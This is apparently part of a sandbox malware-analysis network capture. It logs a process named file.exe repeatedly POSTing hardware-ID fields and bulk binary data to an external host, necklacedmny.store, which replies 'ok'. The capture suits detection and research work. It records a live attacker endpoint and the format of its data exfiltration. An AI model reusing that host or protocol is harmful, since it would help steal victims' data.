2024-10-31 03:14:58 UTC	1369	IN	Data Raw: 78 33 42 4e 4c 6d 36 49 7a 6e 72 63 34 44 4f 5a 2b 51 33 6a 4e 4a 32 68 32 64 6f 57 50 2f 77 64 76 72 50 33 6a 31 4f 6f 30 6b 57 4e 4e 57 6f 36 59 6f 33 4b 50 73 75 74 4b 74 33 36 42 71 5a 76 30 61 62 51 33 42 6b 78 38 78 65 79 75 72 33 45 45 36 54 4a 43 74 46 7a 54 79 35 68 69 73 35 2f 30 75 59 35 6c 76 73 48 35 54 47 58 36 70 43 5a 48 69 4f 31 53 2f 65 63 72 4d 77 66 71 49 6f 61 6d 32 77 4c 4a 6d 33 42 6e 7a 37 66 37 7a 65 61 2f 51 66 6c 50 35 53 75 31 4e 77 5a 4d 2b 63 62 74 37 75 6c 30 78 4f 6d 7a 77 6e 57 64 55 38 6e 61 49 66 45 65 70 53 74 63 35 72 6c 53 72 35 33 76 4b 62 5a 38 42 34 67 74 51 7a 35 70 66 66 47 48 2b 2b 53 52 64 52 2b 51 53 35 73 67 73 46 39 33 2b 59 35 6e 50 6f 43 36 79 57 53 70 64 48 64 47 54 54 7a 46 62 61 7a 73 63 59 61 72 73 49 Data Ascii: x3BNLm6Iznrc4DOZ+Q3jNJ2h2doWP/wdvrP3j1Oo0kWNNWo6Yo3KPsutKt36BqZv0abQ3Bkx8xeyur3EE6TJCtFzTy5his5/0uY5lvsH5TGX6pCZHiO1S/ecrMwfqIoam2wLJm3Bnz7f7zea/QflP5Su1NwZM+cbt7ul0xOmzwnWdU8naIfEepStc5rlSr53vKbZ8B4gtQz5pffGH++SRdR+QS5sgsF93+Y5nPoC6yWSpdHdGTTzFbazscYarsI
2024-10-31 03:14:58 UTC	1369	IN	Data Raw: 52 39 47 6c 38 31 35 78 4f 51 6b 6b 72 31 45 70 6a 6a 52 38 75 65 5a 45 44 7a 75 41 71 47 78 70 38 5a 54 6b 49 52 46 7a 54 55 54 59 56 53 43 79 58 44 54 39 53 4c 51 32 68 7a 73 4d 49 47 74 79 64 5a 5a 64 62 55 56 39 2b 54 6b 6a 31 4f 72 32 30 57 4e 4a 52 6c 36 4e 4e 4b 51 4c 6f 62 38 66 59 53 39 48 4b 5a 76 77 2b 53 65 79 31 6c 6a 74 56 53 30 72 71 58 48 45 4c 6e 4a 51 75 74 4c 62 44 74 73 68 39 42 76 36 74 30 30 68 2f 41 4d 38 53 62 64 76 39 33 58 46 7a 7a 6a 55 2f 6e 38 75 49 46 4c 6c 6f 70 4e 6c 55 6f 46 59 58 6e 42 6e 7a 37 68 34 44 32 54 2b 68 7a 33 65 72 61 77 30 39 38 4f 4b 72 56 64 39 37 72 33 6d 55 50 68 69 67 48 45 4e 52 4e 78 4d 39 71 53 4c 59 4f 7a 59 59 4b 7a 45 36 59 68 30 66 4b 4d 6c 31 6b 70 74 55 76 33 2b 37 54 54 41 61 6e 4a 45 39 59 79 Data Ascii: R9Gl815xOQkkr1EpjjR8ueZEDzuAqGxp8ZTkIRFzTUTYVSCyXDT9SLQ2hzsMIGtydZZdbUV9+Tkj1Or20WNJRl6NNKQLob8fYS9HKZvw+Sey1ljtVS0rqXHELnJQutLbDtsh9Bv6t00h/AM8Sbdv93XFzzjU/n8uIFLlopNlUoFYXnBnz7h4D2T+hz3eraw098OKrVd97r3mUPhigHENRNxM9qSLYOzYYKzE6Yh0fKMl1kptUv3+7TTAanJE9Yy
2024-10-31 03:14:58 UTC	1369	IN	Data Raw: 6d 48 53 39 66 74 50 5a 72 72 47 36 73 51 6e 36 33 66 7a 77 6b 73 2b 6c 50 35 2f 4c 47 42 53 2f 32 45 52 64 46 6b 43 33 6b 78 30 35 77 72 68 37 52 6a 7a 2b 4a 45 2f 33 65 48 36 6f 61 4c 56 33 76 6e 55 2b 2f 38 38 4d 49 42 76 63 77 47 77 33 59 4d 48 31 2b 6d 79 58 6e 56 39 53 4f 4b 38 6b 58 49 41 62 43 55 34 4d 77 61 4e 66 73 55 6f 61 33 33 6a 31 4f 67 69 6c 33 73 4e 51 4e 68 58 73 2b 48 5a 70 53 37 63 36 6a 2b 42 4f 67 77 68 37 75 54 2f 68 63 38 39 41 57 6e 71 37 69 4f 50 5a 6e 72 52 5a 73 31 54 57 45 35 30 34 6b 2b 30 50 4a 7a 78 61 31 59 76 57 4c 43 2f 59 36 4c 42 6e 58 73 55 36 48 38 37 35 4e 64 37 39 68 46 6a 54 55 4d 49 6e 4f 54 77 58 33 43 34 48 53 6a 77 79 33 6f 4d 4a 43 38 7a 74 51 56 47 76 59 43 76 59 4b 4a 31 42 43 68 78 41 4c 44 5a 41 74 76 49 Data Ascii: mHS9ftPZrrG6sQn63fzwks+lP5/LGBS/2ERdFkC3kx05wrh7Rjz+JE/3eH6oaLV3vnU+/88MIBvcwGw3YMH1+myXnV9SOK8kXIAbCU4MwaNfsUoa33j1Ogil3sNQNhXs+HZpS7c6j+BOgwh7uT/hc89AWnq7iOPZnrRZs1TWE504k+0PJzxa1YvWLC/Y6LBnXsU6H875Nd79hFjTUMInOTwX3C4HSjwy3oMJC8ztQVGvYCvYKJ1BChxALDZAtvI
2024-10-31 03:14:58 UTC	1369	IN	Data Raw: 51 39 53 61 65 37 51 33 59 43 62 79 34 32 63 6b 61 65 64 6b 55 75 72 43 4a 2f 79 53 2b 7a 52 57 58 55 30 67 33 59 73 47 4a 50 73 79 6a 61 39 33 51 47 4f 45 6e 6b 75 6a 79 33 68 51 33 74 51 7a 35 70 66 66 58 55 2f 65 5a 53 35 56 6e 43 33 6b 68 78 73 52 73 78 75 55 77 69 2f 35 4e 32 41 6d 38 75 4e 6e 4a 47 6e 6e 45 48 72 4f 71 6f 73 49 44 71 50 51 37 2b 47 64 4d 4d 57 4c 44 34 6b 53 57 30 69 57 65 2f 51 54 68 64 39 2f 71 78 70 6c 42 65 39 67 42 73 4b 79 30 67 7a 61 56 69 44 54 44 64 6b 73 76 5a 73 48 59 4d 4d 32 6a 4a 64 32 6c 57 61 68 33 67 2b 71 47 6d 56 34 31 2b 42 4b 30 73 72 54 54 41 61 6e 4a 45 39 59 79 64 52 39 4f 69 73 5a 75 32 66 49 2b 6d 65 73 30 32 42 43 58 72 39 6e 6e 4a 77 7a 6b 46 4b 66 2b 6b 63 49 46 72 49 70 4c 6c 57 30 4c 65 53 47 6d 77 58 Data Ascii: Q9Sae7Q3YCby42ckaedkUurCJ/yS+zRWXU0g3YsGJPsyja93QGOEnkujy3hQ3tQz5pffXU/eZS5VnC3khxsRsxuUwi/5N2Am8uNnJGnnEHrOqosIDqPQ7+GdMMWLD4kSW0iWe/QThd9/qxplBe9gBsKy0gzaViDTDdksvZsHYMM2jJd2lWah3g+qGmV41+BK0srTTAanJE9YydR9OisZu2fI+mes02BCXr9nnJwzkFKf+kcIFrIpLlW0LeSGmwX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	188.114.97.3	443	7492	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:14:58 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-10-31 03:14:58 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 33 46 33 41 33 43 42 33 39 30 44 33 31 30 38 41 31 34 45 44 36 33 37 31 32 41 38 44 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"623F3A3CB390D3108A14ED63712A8DC2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 03:14:58 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-31 03:14:59 UTC	1015	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:14:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bln5402g4lgrim4078ipnb23js; expires=Sun, 23-Feb-2025 21:01:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ezk4Y7CfHZEs4%2FrKF4GJHAqSQZ4nfNwOacMGfSvfT23nj0je7LseSmWJU1vIzVY0m0BqMpYmDpelWAmQpikWZzp569q21iZ54%2BoS9u1GqQ1ojIzdWJXj31VyvsCPObrr2CsZVEg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07a5e5c6f4867-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1269&sent=10&recv=23&lost=0&retrans=0&sent_bytes=2846&recv_bytes=19132&delivery_rate=2110787&cwnd=242&unsent_bytes=0&cid=98340309d5eb1575&ts=631&x=0"
2024-10-31 03:14:59 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 03:14:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	188.114.97.3	443	7492	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:15:00 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-10-31 03:15:00 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 33 46 33 41 33 43 42 33 39 30 44 33 31 30 38 41 31 34 45 44 36 33 37 31 32 41 38 44 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"623F3A3CB390D3108A14ED63712A8DC2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 03:15:01 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:15:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8qh1kb0a0997grifomdfo3tt4s; expires=Sun, 23-Feb-2025 21:01:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rfHvak7wtYgl%2FZxk0bQXNE3l1MkHAwkKovgyf2H5mFsL6Xmi1LKkugZfTcnU%2B4%2BUK9jZ8hJsCWpT4NkfTd2ueoU%2FSdkYTUaavqSXdCKyAgcqkuWMIYuuVRmum6ELmFV4%2FhfltZs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07a6898a22cd7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1416&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2844&recv_bytes=9730&delivery_rate=2035137&cwnd=32&unsent_bytes=0&cid=ef52cce6ffe3f051&ts=581&x=0"
2024-10-31 03:15:01 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 03:15:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	188.114.97.3	443	7492	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:15:01 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-10-31 03:15:01 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 33 46 33 41 33 43 42 33 39 30 44 33 31 30 38 41 31 34 45 44 36 33 37 31 32 41 38 44 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"623F3A3CB390D3108A14ED63712A8DC2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 03:15:01 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-31 03:15:02 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:15:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o032bofu7hgn5knqahkv3moho8; expires=Sun, 23-Feb-2025 21:01:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SWc6F%2F543YSdBczOcSOSOB6GditQMdqoYy5G3T18eo43o%2B69vEdflclrZPXCU%2Fy0U01utRioZOzKwaWMd2ZCE145kGTOcJOXuS0u%2Fx4wWKd6VkJ6MbGowpF3SAU%2FGkxm5ZGjs04%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07a710d32e7db-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1365&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21406&delivery_rate=2026592&cwnd=251&unsent_bytes=0&cid=e3011c1772d73d32&ts=726&x=0"
2024-10-31 03:15:02 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 03:15:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	188.114.97.3	443	7492	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:15:03 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1256 Host: necklacedmny.store
2024-10-31 03:15:03 UTC	1256	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 33 46 33 41 33 43 42 33 39 30 44 33 31 30 38 41 31 34 45 44 36 33 37 31 32 41 38 44 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"623F3A3CB390D3108A14ED63712A8DC2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 03:15:03 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:15:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lujioctk93fuer6oe1vrn7nosq; expires=Sun, 23-Feb-2025 21:01:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OCnHfcTs4T%2FO1O%2BlXEL3LEIF%2BBh55DUrbMKzIcjqzKO7WbYWGj8VpLjpsFhjfxjp8La%2FO0GJtaJnalPjSBLcU%2B1sQbAGmDnJ7A35ioT7mzr8zZL0OTGwqbq0wsdDeRfUKGuMDbY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07a7c4c6ee823-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2247&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2175&delivery_rate=1218855&cwnd=237&unsent_bytes=0&cid=95e42ec1c438c0ca&ts=328&x=0"
2024-10-31 03:15:03 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 03:15:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	188.114.97.3	443	7492	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:15:05 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 585885 Host: necklacedmny.store
2024-10-31 03:15:05 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 33 46 33 41 33 43 42 33 39 30 44 33 31 30 38 41 31 34 45 44 36 33 37 31 32 41 38 44 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"623F3A3CB390D3108A14ED63712A8DC2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 03:15:05 UTC	15331	OUT	Data Raw: 9f 86 51 74 63 26 92 b3 61 a3 7b 2b 47 c3 56 2d 9a 94 e9 e4 e1 a1 72 e3 07 38 24 32 6c da d0 b3 5a f8 1d 45 c7 84 a5 42 96 78 8a 62 14 e2 ea 50 47 6e 7e b0 e5 9e c7 c0 3e d0 8d 35 66 df 97 05 2d 2b d7 da 54 2c e1 3c f8 60 3c 12 e8 f8 f3 7d c0 1f ca 14 c5 58 03 74 5b 25 58 7c 1b 11 13 a0 ce a5 94 a3 2d 17 5b f4 f1 00 ea b2 9e a9 13 27 a5 ee be 7b 19 a7 9a 8b 55 16 14 d0 41 79 28 32 31 c1 29 22 1f 5a 8b 32 ad 4c e9 c6 e0 c3 58 a1 2e e1 b4 87 54 e2 9b 55 f1 19 53 b9 ea 5f 4a 15 d8 00 44 d5 16 97 17 9a 07 bd 25 a6 34 e9 c7 e8 4e 1c c3 53 4c d0 61 4b 7e a7 8e ef df 15 c4 85 be 42 8d ed 2f 73 60 22 47 6e db 2e e1 9f 0e 34 2c 23 f4 84 8d f2 8f 77 1f 77 89 c6 b8 ad ed eb e7 ce 1c f6 9d 40 62 50 8b cc d8 e8 54 8e f4 63 91 dc b9 e4 7d c6 4a 3a fc cf 3a 34 a3 c9 83 Data Ascii: Qtc&a{+GV-r8$2lZEBxbPGn~>5f-+T,<`<}Xt[%X\|-['{UAy(21)"Z2LX.TUS_JD%4NSLaK~B/s`"Gn.4,#ww@bPTc}J::4
2024-10-31 03:15:05 UTC	15331	OUT	Data Raw: fa d0 2d 74 2e a8 59 ff c1 53 e7 ad 48 95 fa 6e 7d d5 80 77 4d 47 1d b7 4e 39 54 39 8b 4e 29 8f 7e 07 3f 77 7a fe 35 db cb ad f9 35 6e e8 be 6f 32 8e d9 9a 31 9b cd e2 65 2c 33 8e ac 55 bb 53 af fd f1 f1 b5 e8 2d 41 ca 6c 75 56 f7 eb a0 6a 73 45 e0 ef 7c 0b d5 f2 73 a2 fc 06 8a 78 ff ea 6b 88 16 eb 7f 18 42 bb 03 76 5e a1 b0 fc e6 c6 95 f9 a8 b9 80 1d 0f 6a 7a 5f dd b8 ee c4 ce 7c 4d b0 8a 78 e9 20 5d f8 92 d9 7a b5 08 52 be e7 b0 6a 77 26 1a 12 11 92 fb d9 45 8f 8d 3c b7 3c a3 83 8a 3f 8c c5 40 a0 ef 94 5a 91 96 20 49 84 e2 81 93 21 5e 94 a2 1f 80 8b 1c 81 4c 34 9c b0 1c 6e 5d 12 4b 39 f3 0b 83 97 49 d2 7c c1 89 71 8b 0e b5 0a 2f f0 19 b0 5c 71 bc 37 92 fe fc 7c 47 98 93 58 6e b7 20 c1 43 72 f5 2c c4 3d 52 ed 75 e2 92 29 dd 5b d1 72 6c 96 cc bb e8 b7 17 Data Ascii: -t.YSHn}wMGN9T9N)~?wz55no21e,3US-AluVjsE\|sxkBv^jz_\|Mx ]zRjw&E<<?@Z I!^L4n]K9I\|q/\q7\|GXn Cr,=Ru)[rl
